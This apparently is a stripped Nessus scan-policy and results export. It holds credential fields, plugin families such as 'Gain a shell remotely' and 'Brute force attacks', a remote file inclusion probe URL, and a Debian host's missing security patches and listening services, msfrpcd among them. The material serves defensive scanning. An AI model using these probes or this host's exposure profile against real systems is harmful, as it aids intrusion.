+SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Server : +SCCM Server : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +SCCM Domain : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Username : +SCCM Username : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[password]:SCCM Password : +SCCM Password : +password + + + +SMB Scope +10917 +SMB Scope[checkbox]:Request information about the domain +Request information about the domain +checkbox +yes +yes + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMTP settings +11038 +SMTP settings[entry]:Third party domain : +Third party domain : +entry +example.edu +example.edu + +SMTP settings +11038 +SMTP settings[entry]:From address : +From address : +entry +nobody@example.edu +nobody@example.edu + +SMTP settings +11038 +SMTP settings[entry]:To address : +To address : +entry +postmaster@[AUTO_REPLACED_IP] +postmaster@[AUTO_REPLACED_IP] + +SNMP settings +19762 +SNMP settings[entry]:Community name : +Community name : +entry +public +public + +SNMP settings +19762 +SNMP settings[entry]:Community name (1) : +Community name (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (2) : +Community name (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (3) : +Community name (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:UDP port : +UDP port : +entry +161 +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (1) : +Additional UDP port (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (2) : +Additional UDP port (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (3) : +Additional UDP port (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:SNMPv3 user name : +SNMPv3 user name : +entry + + + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 authentication password : +SNMPv3 authentication password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 authentication algorithm : +SNMPv3 authentication algorithm : +radio +MD5;SHA1 +MD5;SHA1 + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 privacy password : +SNMPv3 privacy password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 privacy algorithm : +SNMPv3 privacy algorithm : +radio +AES;DES +AES;DES + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +SSH settings +14273 +SSH settings[entry]:SSH user name : +SSH user name : +entry +root +root + +SSH settings +14273 +SSH settings[password]:SSH password (unsafe!) : +SSH password (unsafe!) : +password + + + +SSH settings +14273 +SSH settings[file]:SSH public key to use : +SSH public key to use : +file + + + +SSH settings +14273 +SSH settings[file]:SSH private key to use : +SSH private key to use : +file + + + +SSH settings +14273 +SSH settings[password]:Passphrase for SSH key : +Passphrase for SSH key : +password + + + +SSH settings +14273 +SSH settings[radio]:Elevate privileges with : +Elevate privileges with : +radio +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + +SSH settings +14273 +SSH settings[entry]:Privilege elevation binary path (directory) : +Privilege elevation binary path (directory) : +entry + + + +SSH settings +14273 +SSH settings[entry]:su login : +su login : +entry + + + +SSH settings +14273 +SSH settings[entry]:Escalation account : +Escalation account : +entry +root +root + +SSH settings +14273 +SSH settings[password]:Escalation password : +Escalation password : +password + + + +SSH settings +14273 +SSH settings[file]:SSH known_hosts file : +SSH known_hosts file : +file + + + +SSH settings +14273 +SSH settings[entry]:Preferred SSH port : +Preferred SSH port : +entry +22 +22 + +SSH settings +14273 +SSH settings[entry]:Client version : +Client version : +entry +OpenSSH_5.0 +OpenSSH_5.0 + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (1) : +Additional SSH user name (1) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (1) : +Additional SSH password (1) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (2) : +Additional SSH user name (2) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (2) : +Additional SSH password (2) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (3) : +Additional SSH user name (3) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (3) : +Additional SSH password (3) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (4) : +Additional SSH user name (4) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (4) : +Additional SSH password (4) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (5) : +Additional SSH user name (5) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (5) : +Additional SSH password (5) : +password + + + +SSL Certificate Expiry +15901 +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +Identify certificates that expire within x days +entry +60 +60 + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +Start the registry service during the scan +checkbox +no +no + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +Enable administrative shares during the scan +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +Symantec Altiris Database Server : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +Symantec Altiris Database Port : +entry +5690 +5690 + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +Symantec Altiris Database Name : +entry +Symantec_CMDB +Symantec_CMDB + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +Symantec Altiris Use Windows Credentials : +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +Symantec Altiris Database Username : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +Symantec Altiris Database Password : +password + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[entry]:VMware user name : +VMware user name : +entry + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[password]:VMware password : +VMware password : +password + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +Ignore SSL Certificate : +checkbox +no +no + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter host : +VMware vCenter host : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +VMware vCenter port : +entry +443 +443 + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +VMware vCenter user name : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +VMware vCenter password : +password + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Enable web applications tests +Enable web applications tests +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:Maximum run time (min) : +Maximum run time (min) : +entry +60 +60 + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Try all HTTP methods +Try all HTTP methods +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Combinations of arguments values +Combinations of arguments values +radio +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +HTTP Parameter Pollution +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Stop at first flaw +Stop at first flaw +radio +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Test embedded web servers +Test embedded web servers +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +URL for Remote File Inclusion : +entry +http://rfi.nessus.org/rfi.txt +http://rfi.nessus.org/rfi.txt + +Web mirroring +10662 +Web mirroring[entry]:Number of pages to mirror : +Number of pages to mirror : +entry +1000 +1000 + +Web mirroring +10662 +Web mirroring[entry]:Maximum depth : +Maximum depth : +entry +6 +6 + +Web mirroring +10662 +Web mirroring[entry]:Start page : +Start page : +entry +/ +/ + +Web mirroring +10662 +Web mirroring[entry]:Excluded items regex : +Excluded items regex : +entry +/server_privileges\.php|logout +/server_privileges\.php|logout + +Web mirroring +10662 +Web mirroring[checkbox]:Follow dynamic pages : +Follow dynamic pages : +checkbox +no +no + +Wake-on-LAN +52616 +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +List of MAC addresses for Wake-on-LAN: +file + + + +Wake-on-LAN +52616 +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +Time to wait (in minutes) for the systems to boot: +entry +5 +5 + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +Additional MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +Known good MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Yara rules file : +Yara rules file : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:disable_dns_resolution +disable_dns_resolution +checkbox +no +no + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:enable_malware_scanning +enable_malware_scanning +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Server : +WSUS Server : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Port : +WSUS Port : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Username : +WSUS Username : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[password]:WSUS Password : +WSUS Password : +password + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + + + +Port scanners +mixed + +Default Unix Accounts +enabled + +General +enabled + +RPC +enabled + +Palo Alto Local Security Checks +enabled + +Junos Local Security Checks +enabled + +Settings +enabled + +Gentoo Local Security Checks +enabled + +Amazon Linux Local Security Checks +enabled + +Mobile Devices +enabled + +Windows : User management +enabled + +Red Hat Local Security Checks +enabled + +CentOS Local Security Checks +enabled + +CISCO +enabled + +Scientific Linux Local Security Checks +enabled + +AIX Local Security Checks +enabled + +Ubuntu Local Security Checks +enabled + +Firewalls +enabled + +Service detection +enabled + +Netware +enabled + +MacOS X Local Security Checks +enabled + +Gain a shell remotely +enabled + +Misc. +enabled + +Brute force attacks +enabled + +Databases +enabled + +HP-UX Local Security Checks +enabled + +SMTP problems +enabled + +OracleVM Local Security Checks +enabled + +Oracle Linux Local Security Checks +enabled + +Windows : Microsoft Bulletins +enabled + +SCADA +enabled + +Policy Compliance +enabled + +CGI abuses +enabled + +Offsec Plugins +enabled + +Mandriva Local Security Checks +enabled + +Offsec Plugins Disabled +enabled + +Virtuozzo Local Security Checks +enabled + +F5 Networks Local Security Checks +enabled + +Huawei Local Security Checks +enabled + +FTP +enabled + +SNMP +enabled + +Incident Response +enabled + +Windows +enabled + +SuSE Local Security Checks +enabled + +DNS +enabled + +Fedora Local Security Checks +enabled + +Peer-To-Peer File Sharing +enabled + +Backdoors +enabled + +Debian Local Security Checks +enabled + +VMware ESX Local Security Checks +enabled + +Denial of Service +enabled + +Solaris Local Security Checks +enabled + +FreeBSD Local Security Checks +enabled + +Slackware Local Security Checks +enabled + +Web Servers +enabled + +CGI abuses : XSS +enabled + + +87413 +Host Tagging +Settings +enabled + + + + + +Wed Apr 4 15:00:09 2018 +1522846809 +Advanced Scan +46 +CVE-2018-5750, CVE-2017-8824, CVE-2017-5754, CVE-2017-5715, CVE-2017-17864, CVE-2017-17863, CVE-2017-17862, CVE-2017-17807, CVE-2017-17806, CVE-2017-17805, CVE-2017-17741, CVE-2017-17712, CVE-2017-17558, CVE-2017-17450, CVE-2017-17449, CVE-2017-17448, CVE-2017-16995, CVE-2017-16644, CVE-2017-16538, CVE-2017-13166, CVE-2017-1000410, CVE-2017-1000407 +22 +Debian DSA-4120-1 : linux - security update (Meltdown) (Spectre): Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.82-1+deb9u2. +CVE-2017-14633, CVE-2017-14632 +2 +Debian DSA-4113-1 : libvorbis - security update: Upgrade the libvorbis packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.3.5-4+deb9u1. +CVE-2018-6789 +1 +Debian DSA-4110-1 : exim4 - security update: Upgrade the exim4 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 4.84.2-2+deb8u5. + +For the stable distribution (stretch), this problem has been fixed in version 4.89-2+deb9u3. +CVE-2018-6003, CVE-2017-10790 +2 +Debian DSA-4106-1 : libtasn1-6 - security update: Upgrade the libtasn1-6 packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.10-1.1+deb9u1. +0 +Debian DSA-4100-1 : tiff - security update: Upgrade the tiff packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 4.0.3-12.3+deb8u5. + +For the stable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u2. +CVE-2018-1000007, CVE-2018-1000005 +2 +Debian DSA-4098-1 : curl - security update: Upgrade the curl packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 7.38.0-4+deb8u9. + +For the stable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u4. +CVE-2017-3145 +1 +Debian DSA-4089-1 : bind9 - security update: Upgrade the bind9 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 1:9.9.5.dfsg-9+deb8u15. + +For the stable distribution (stretch), this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u4. +CVE-2017-1000422 +1 +Debian DSA-4088-1 : gdk-pixbuf - security update: Upgrade the gdk-pixbuf packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.31.1-2+deb8u7. + +For the stable distribution (stretch), this problem has been fixed in version 2.36.5-2+deb9u2. In addition this update provides fixes for CVE-2017-6312, CVE-2017-6313 and CVE-2017-6314. +CVE-2017-15412 +1 +Debian DSA-4086-1 : libxml2 - security update: Upgrade the libxml2 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.9.1+dfsg1-5+deb8u6. + +For the stable distribution (stretch), this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u2. +CVE-2017-17512 +1 +Debian DSA-4071-1 : sensible-utils - security update: Upgrade the sensible-utils packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 0.0.9+deb8u1. + +For the stable distribution (stretch), this problem has been fixed in version 0.0.9+deb9u1. +CVE-2017-17434, CVE-2017-17433, CVE-2017-16548 +3 +Debian DSA-4068-1 : rsync - security update: Upgrade the rsync packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 3.1.1-3+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 3.1.2-1+deb9u1. +CVE-2017-3738, CVE-2017-3737 +2 +Debian DSA-4065-1 : openssl1.0 - security update: Upgrade the openssl1.0 packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.0.2l-2+deb9u2. +CVE-2017-16612 +1 +Debian DSA-4059-1 : libxcursor - security update: Upgrade the libxcursor packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 1:1.1.14-1+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 1:1.1.14-1+deb9u1. +cpe:/o:linux:linux_kernel +linux +SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1 +cpe:/a:openbsd:openssh:7.4 +cpe:/o:debian:debian_linux:9.2 +general-purpose +Linux Kernel 4.9.0-4-amd64 on Debian 9.2 +74073142-C0C0-67BE-AF1A-47383DD3DBE7 +00:50:56:b1:64:78 +abcvy031 +80789c282ddd46cd82a86dcf015fc865 +true +local +127.0.0.1 +localhost +Wed Apr 4 14:28:53 2018 + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 1196 + Executable : /root/.rbenv/versions/2.4.3/bin/ruby + Command line : msfrpcd + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 680 + Executable : /var/lib/udf/.rbenv/versions/2.5.0/bin/ruby + Command line : ruby /var/lib/udf/url_dup_filter/lib/url_dup_filter.rb + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 686 + Executable : /opt/nessus/sbin/nessusd + Command line : nessusd -q + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 695 + Executable : /usr/lib/postgresql/9.6/bin/postgres + Command line : /usr/lib/postgresql/9.6/bin/postgres -D /var/lib/postgresql/9.6/main -c config_file=/etc/postgresql/9.6/main/postgresql.conf + + + +cpe:/a:postgresql:postgresql +The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB. +postgresql_detect.nasl +2013/02/14 +PostgreSQL Server Detection +2007/09/14 +remote +None +$Revision: 1.14 $ +http://www.postgresql.org/ +Limit incoming traffic to this port if desired. +A database service is listening on the remote host. + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 1105 + Executable : /usr/sbin/exim4 + Command line : 